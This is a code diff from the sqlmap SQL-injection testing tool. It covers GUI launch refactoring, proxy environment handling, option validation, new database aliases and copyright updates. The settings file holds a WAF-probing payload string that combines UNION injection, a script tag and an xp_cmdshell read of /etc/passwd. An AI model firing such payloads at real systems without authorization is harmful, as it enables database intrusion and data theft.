+        from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext
+        from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk
+        from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
    except ImportError as ex:
        raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex))

    # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
-    class ConstrainedEntry(tkinter.Entry):
+    class ConstrainedEntry(_tkinter.Entry):
        def __init__(self, master=None, **kwargs):
-            self.var = tkinter.StringVar()
+            self.var = _tkinter.StringVar()
            self.regex = kwargs["regex"]
            del kwargs["regex"]
-            tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
+            _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs)
            self.old_value = ''
            self.var.trace('w', self.check)
            self.get, self.set = self.var.get, self.var.set
@@ -54,23 +61,23 @@ def runGui(parser):
                self.set(self.old_value)

    # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
-    class AutoresizableNotebook(tkinter.ttk.Notebook):
+    class AutoresizableNotebook(_tkinter_ttk.Notebook):
        def __init__(self, master=None, **kw):
-            tkinter.ttk.Notebook.__init__(self, master, **kw)
+            _tkinter_ttk.Notebook.__init__(self, master, **kw)
            self.bind("<<NotebookTabChanged>>", self._on_tab_changed)

-        def _on_tab_changed(self,event):
+        def _on_tab_changed(self, event):
            event.widget.update_idletasks()

            tab = event.widget.nametowidget(event.widget.select())
            event.widget.configure(height=tab.winfo_reqheight())

-    window = tkinter.Tk()
+    window = _tkinter.Tk()
    window.title(VERSION_STRING)

    # Reference: https://www.holadevs.com/pregunta/64750/change-selected-tab-color-in-ttknotebook
-    style = tkinter.ttk.Style()
-    settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e" }, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
+    style = _tkinter_ttk.Style()
+    settings = {"TNotebook.Tab": {"configure": {"padding": [5, 1], "background": "#fdd57e"}, "map": {"background": [("selected", "#C70039"), ("active", "#fc9292")], "foreground": [("selected", "#ffffff"), ("active", "#000000")]}}}
    style.theme_create("custom", parent="alt", settings=settings)
    style.theme_use("custom")

@@ -110,48 +117,19 @@ def runGui(parser):
                line = ""
                event.widget.master.master.destroy()
                return "break"
+            except:
+                return

-            event.widget.insert(tkinter.END, "\n")
-
-            counter = 0
-            while True:
-                line = ""
-                try:
-                    #line = queue.get_nowait()
-                    line = queue.get(timeout=.1)
-                    event.widget.insert(tkinter.END, line)
-                    counter = 0
-                except _queue.Empty:
-                    event.widget.see(tkinter.END)
-                    event.widget.update_idletasks()
-                    if counter > 3:
-                        break
-                    else:
-                        counter += 1
+            event.widget.insert(_tkinter.END, "\n")

            return "break"

    def run():
+        global alive
        global process
        global queue

-        ON_POSIX = "posix" in sys.builtin_module_names
-
-        def enqueue(stream, queue):
-            for line in iter(stream.readline, b''):
-                queue.put(line)
-            stream.close()
-
-        process = subprocess.Popen("/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=ON_POSIX)
-
-        # Reference: https://stackoverflow.com/a/4896288
-        queue = _queue.Queue()
-        thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
-        thread.daemon = True
-        thread.start()
-
-
-        options = {}
+        config = {}

        for key in window._widgets:
            dest, type = key
@@ -168,18 +146,40 @@ def runGui(parser):
            else:
                value = bool(widget.var.get())

-            options[dest] = value
+            config[dest] = value

        for option in parser.option_list:
-            options[option.dest] = defaults.get(option.dest, None)
+            config[option.dest] = defaults.get(option.dest, None)

-        parser._args = options
+        handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
+        os.close(handle)

-        top = tkinter.Toplevel()
+        saveConfig(config, configFile)
+
+        def enqueue(stream, queue):
+            global alive
+
+            for line in iter(stream.readline, b''):
+                queue.put(line)
+
+            alive = False
+            stream.close()
+
+        alive = True
+
+        process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN)
+
+        # Reference: https://stackoverflow.com/a/4896288
+        queue = _queue.Queue()
+        thread = threading.Thread(target=enqueue, args=(process.stdout, queue))
+        thread.daemon = True
+        thread.start()
+
+        top = _tkinter.Toplevel()
        top.title("Console")

        # Reference: https://stackoverflow.com/a/13833338
-        text = tkinter.scrolledtext.ScrolledText(top, undo=True)
+        text = _tkinter_scrolledtext.ScrolledText(top, undo=True)
        text.bind("<Key>", onKeyPress)
        text.bind("<Return>", onReturnPress)
        text.pack()
@@ -187,24 +187,37 @@ def runGui(parser):

        center(top)

-    menubar = tkinter.Menu(window)
+        while True:
+            line = ""
+            try:
+                # line = queue.get_nowait()
+                line = queue.get(timeout=.1)
+                text.insert(_tkinter.END, line)
+            except _queue.Empty:
+                text.see(_tkinter.END)
+                text.update_idletasks()

-    filemenu = tkinter.Menu(menubar, tearoff=0)
-    filemenu.add_command(label="Open", state=tkinter.DISABLED)
-    filemenu.add_command(label="Save", state=tkinter.DISABLED)
+                if not alive:
+                    break
+
+    menubar = _tkinter.Menu(window)
+
+    filemenu = _tkinter.Menu(menubar, tearoff=0)
+    filemenu.add_command(label="Open", state=_tkinter.DISABLED)
+    filemenu.add_command(label="Save", state=_tkinter.DISABLED)
    filemenu.add_separator()
    filemenu.add_command(label="Exit", command=window.quit)
    menubar.add_cascade(label="File", menu=filemenu)

    menubar.add_command(label="Run", command=run)

-    helpmenu = tkinter.Menu(menubar, tearoff=0)
+    helpmenu = _tkinter.Menu(menubar, tearoff=0)
    helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
    helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
    helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
    helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
    helpmenu.add_separator()
-    helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2019\n\n    (%s)" % DEV_EMAIL_ADDRESS))
+    helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2020\n\n    (%s)" % DEV_EMAIL_ADDRESS))
    menubar.add_cascade(label="Help", menu=helpmenu)

    window.config(menu=menubar)
@@ -216,33 +229,33 @@ def runGui(parser):
    frames = {}

    for group in parser.option_groups:
-        frame = frames[group.title] = tkinter.Frame(notebook, width=200, height=200)
+        frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200)
        notebook.add(frames[group.title], text=group.title)

-        tkinter.Label(frame).grid(column=0, row=0, sticky=tkinter.W)
+        _tkinter.Label(frame).grid(column=0, row=0, sticky=_tkinter.W)

        row = 1
        if group.get_description():
-            tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=tkinter.W)
-            tkinter.Label(frame).grid(column=0, row=2, sticky=tkinter.W)
+            _tkinter.Label(frame, text="%s:" % group.get_description()).grid(column=0, row=1, columnspan=3, sticky=_tkinter.W)
+            _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W)
            row += 2

        for option in group.option_list:
-            tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=tkinter.W)
+            _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W)

            if option.type == "string":
-                widget = tkinter.Entry(frame)
+                widget = _tkinter.Entry(frame)
            elif option.type == "float":
                widget = ConstrainedEntry(frame, regex=r"\A\d*\.?\d*\Z")
            elif option.type == "int":
                widget = ConstrainedEntry(frame, regex=r"\A\d*\Z")
            else:
-                var = tkinter.IntVar()
-                widget = tkinter.Checkbutton(frame, variable=var)
+                var = _tkinter.IntVar()
+                widget = _tkinter.Checkbutton(frame, variable=var)
                widget.var = var

            first = first or widget
-            widget.grid(column=1, row=row, sticky=tkinter.W)
+            widget.grid(column=1, row=row, sticky=_tkinter.W)

            window._widgets[(option.dest, option.type)] = widget

@@ -251,15 +264,15 @@ def runGui(parser):
                if hasattr(widget, "insert"):
                    widget.insert(0, default)

-            tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=tkinter.W)
+            _tkinter.Label(frame, text=" %s" % option.help).grid(column=2, row=row, sticky=_tkinter.W)

            row += 1

-        tkinter.Label(frame).grid(column=0, row=row, sticky=tkinter.W)
+        _tkinter.Label(frame).grid(column=0, row=row, sticky=_tkinter.W)

    notebook.pack(expand=1, fill="both")
    notebook.enable_traversal()

    first.focus()

-    window.mainloop()
+    window.mainloop()
--- a/lib/core/log.py
+++ b/lib/core/log.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -121,6 +121,7 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_SPLITTING_REGEX
 from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
+from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES
 from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
 from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
 from lib.core.settings import SUPPORTED_DBMS
@@ -330,8 +331,13 @@ def _setRequestFromFile():
        infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
        logger.info(infoMsg)

-        target = next(parseRequestFile(conf.secondReq, False))
-        kb.secondReq = target
+        try:
+            target = next(parseRequestFile(conf.secondReq, False))
+            kb.secondReq = target
+        except StopIteration:
+            errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
+            errMsg += "does not contain a valid HTTP request"
+            raise SqlmapDataException(errMsg)

 def _setCrawler():
    if not conf.crawlDepth:
@@ -341,7 +347,7 @@ def _setCrawler():
        if conf.url:
            crawl(conf.url)
        elif conf.requestFile and kb.targets:
-            target = list(kb.targets)[0]
+            target = next(iter(kb.targets))
            crawl(target[0], target[2], target[3])

 def _doSearch():
@@ -995,7 +1001,7 @@ def _setHTTPHandlers():
                errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex))
                raise SqlmapSyntaxException(errMsg)

-            hostnamePort = _.netloc.split(":")
+            hostnamePort = _.netloc.rsplit(":", 1)

            scheme = _.scheme.upper()
            hostname = hostnamePort[0]
@@ -1139,7 +1145,7 @@ def _setSafeVisit():
                conf.safeUrl = "http://%s" % conf.safeUrl

    if (conf.safeFreq or 0) <= 0:
-        errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
+        errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features"
        raise SqlmapSyntaxException(errMsg)

 def _setPrefixSuffix():
@@ -1729,8 +1735,7 @@ def _cleanupOptions():
            conf.__setitem__(_, True)

    if conf.noCast:
-        for _ in list(DUMP_REPLACEMENTS.keys()):
-            del DUMP_REPLACEMENTS[_]
+        DUMP_REPLACEMENTS.clear()

    if conf.dumpFormat:
        conf.dumpFormat = conf.dumpFormat.upper()
@@ -1759,6 +1764,13 @@ def _cleanupOptions():
        conf.binaryFields = conf.binaryFields.replace(" ", "")
        conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)

+    envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES)
+    if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None:
+        debugMsg = "using environment proxy '%s'" % envProxy
+        logger.debug(debugMsg)
+
+        conf.proxy = envProxy
+
    if any((conf.proxy, conf.proxyFile, conf.tor)):
        conf.disablePrecon = True

@@ -1906,6 +1918,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
    kb.forcePartialUnion = False
    kb.forceThreads = None
    kb.forceWhere = None
+    kb.forkNote = None
    kb.futileUnion = None
    kb.heavilyDynamic = False
    kb.headersFile = None
@@ -2466,6 +2479,10 @@ def _basicOptionValidation():
            errMsg = "invalid regular expression '%s' ('%s')" % (conf.paramExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

+    if conf.cookieDel and len(conf.cookieDel):
+        errMsg = "option '--cookie-del' should contain a single character (e.g. ';')"
+        raise SqlmapSyntaxException(errMsg)
+
    if conf.crawlExclude:
        try:
            re.compile(conf.crawlExclude)
@@ -2473,6 +2490,13 @@ def _basicOptionValidation():
            errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
            raise SqlmapSyntaxException(errMsg)

+    if conf.scope:
+        try:
+            re.compile(conf.scope)
+        except Exception as ex:
+            errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex))
+            raise SqlmapSyntaxException(errMsg)
+
    if conf.dumpTable and conf.dumpAll:
        errMsg = "switch '--dump' is incompatible with switch '--dump-all'"
        raise SqlmapSyntaxException(errMsg)
@@ -2591,7 +2615,7 @@ def _basicOptionValidation():
        errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
        raise SqlmapSyntaxException(errMsg)

-    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
+    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
        errMsg = "option '--crack' should be used as a standalone"
        raise SqlmapSyntaxException(errMsg)

@@ -2658,7 +2682,7 @@ def init():

    parseTargetDirect()

-    if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
+    if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
        _setHostname()
        _setHTTPTimeout()
        _setHTTPExtraHeaders()
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -252,9 +252,6 @@ optDict = {
        "forceDns": "boolean",
        "murphyRate": "integer",
        "smokeTest": "boolean",
-        "liveTest": "boolean",
-        "stopFail": "boolean",
-        "runCase": "string",
    },

    "API": {
--- a/lib/core/patch.py
+++ b/lib/core/patch.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -26,10 +26,12 @@ from lib.core.common import readInput
 from lib.core.common import shellExec
 from lib.core.common import singleTimeWarnMessage
 from lib.core.convert import stdoutEncode
+from lib.core.data import conf
 from lib.core.option import _setHTTPHandlers
 from lib.core.option import setVerbosity
 from lib.core.settings import IS_WIN
 from lib.request.templates import getPageTemplate
+from thirdparty import six
 from thirdparty.six.moves import http_client as _http_client

 def dirtyPatches():
@@ -40,6 +42,17 @@ def dirtyPatches():
    # accept overly long result lines (e.g. SQLi results in HTTP header responses)
    _http_client._MAXLINE = 1 * 1024 * 1024

+    # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
+    if six.PY3:
+        if not hasattr(_http_client.HTTPConnection, "__send_output"):
+            _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
+        def _send_output(self, *args, **kwargs):
+            if conf.chunked and "encode_chunked" in kwargs:
+                kwargs["encode_chunked"] = False
+            self.__send_output(*args, **kwargs)
+
+        _http_client.HTTPConnection._send_output = _send_output
+
    # add support for inet_pton() on Windows OS
    if IS_WIN:
        from thirdparty.wininetpton import win_inet_pton
--- a/lib/core/profiling.py
+++ b/lib/core/profiling.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -27,7 +27,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
        import pydot
    except ImportError as ex:
        errMsg = "profiling requires third-party libraries ('%s') " % getSafeExString(ex)
-        errMsg += "(Hint: 'sudo apt-get install python-pydot python-pyparsing python-profiler graphviz')"
+        errMsg += "(Hint: 'sudo apt install python-pydot python-pyparsing python-profiler graphviz')"
        logger.error(errMsg)

        return
@@ -84,7 +84,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
        pydotGraph.write_png(imageOutputFile)
    except OSError:
        errMsg = "profiling requires graphviz installed "
-        errMsg += "(Hint: 'sudo apt-get install graphviz')"
+        errMsg += "(Hint: 'sudo apt install graphviz')"
        logger.error(errMsg)
    else:
        infoMsg = "displaying interactive graph with xdot library"
--- a/lib/core/readlineng.py
+++ b/lib/core/readlineng.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/replication.py
+++ b/lib/core/replication.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/revision.py
+++ b/lib/core/revision.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/session.py
+++ b/lib/core/session.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr

 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.3.12.0"
+VERSION = "1.4.2.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -60,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98
 PARAMETER_AMP_MARKER = "__AMP__"
 PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
 BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
+PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
 PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
 PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
 URI_QUESTION_MARKER = "__QUESTION_MARK__"
@@ -74,6 +75,7 @@ RANDOM_STRING_MARKER = "[RANDSTR]"
 SLEEP_TIME_MARKER = "[SLEEPTIME]"
 INFERENCE_MARKER = "[INFERENCE]"
 SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
+GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]"

 PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
@@ -257,33 +259,54 @@ DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
 H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
+MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
+DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
+VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
+MCKOI_SYSTEM_DBS = ("",)
+PRESTO_SYSTEM_DBS = ("information_schema",)
+ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
+MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)

+# Note: (<regular>) + (<forks>)
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
-MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
-PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
+MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
+PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb")
 ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
 SQLITE_ALIASES = ("sqlite", "sqlite3")
 ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
 FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
-MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
+MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
 SYBASE_ALIASES = ("sybase", "sybase sql server")
 DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
 HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
 H2_ALIASES = ("h2",)
 INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
+MONETDB_ALIASES = ("monet", "monetdb",)
+DERBY_ALIASES = ("derby", "apache derby",)
+VERTICA_ALIASES = ("vertica",)
+MCKOI_ALIASES = ("mckoi",)
+PRESTO_ALIASES = ("presto",)
+ALTIBASE_ALIASES = ("altibase",)
+MIMERSQL_ALIASES = ("mimersql", "mimer")

 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))

-SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
+SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES
 SUPPORTED_OS = ("linux", "windows")

-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES))

 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
 HOST_ALIASES = ("host",)

+# DBMSes with upper case identifiers
+UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE))
+
+# Default schemas to use (when unable to enumerate)
 H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
+VERTICA_DEFAULT_SCHEMA = "public"
+MCKOI_DEFAULT_SCHEMA = "APP"

 # Names that can't be used to name files on Windows OS
 WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -486,6 +509,9 @@ GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
 # Prefix for configuration overriding environment variables
 SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"

+# General OS environment variables that can be used for setting proxy address
+PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")
+
 # Turn off resume console info to avoid potential slowdowns
 TURN_OFF_RESUME_INFO_LIMIT = 20

@@ -561,11 +587,11 @@ LAST_UPDATE_NAGGING_DAYS = 60
 # Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
 MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05

-# Generic address for checking the Internet connection while using switch --check-internet
-CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
+# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9)
+CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json"

 # Value to look for in response to CHECK_INTERNET_ADDRESS
-CHECK_INTERNET_VALUE = "IP Address Details"
+CHECK_INTERNET_VALUE = '"ip":'

 # Payload used for checking of existence of WAF/IPS (dummier the better)
 IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
@@ -659,7 +685,7 @@ LARGE_OUTPUT_THRESHOLD = 1024 ** 2
 SLOW_ORDER_COUNT_THRESHOLD = 10000

 # Give up on hash recognition if nothing was found in first given number of rows
-HASH_RECOGNITION_QUIT_THRESHOLD = 10000
+HASH_RECOGNITION_QUIT_THRESHOLD = 1000

 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
 HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
@@ -764,7 +790,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
 XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"

 # Regular expression used for detecting JSON POST data
-JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
+JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'

 # Regular expression used for detecting JSON-like POST data
 JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
--- a/lib/core/shell.py
+++ b/lib/core/shell.py
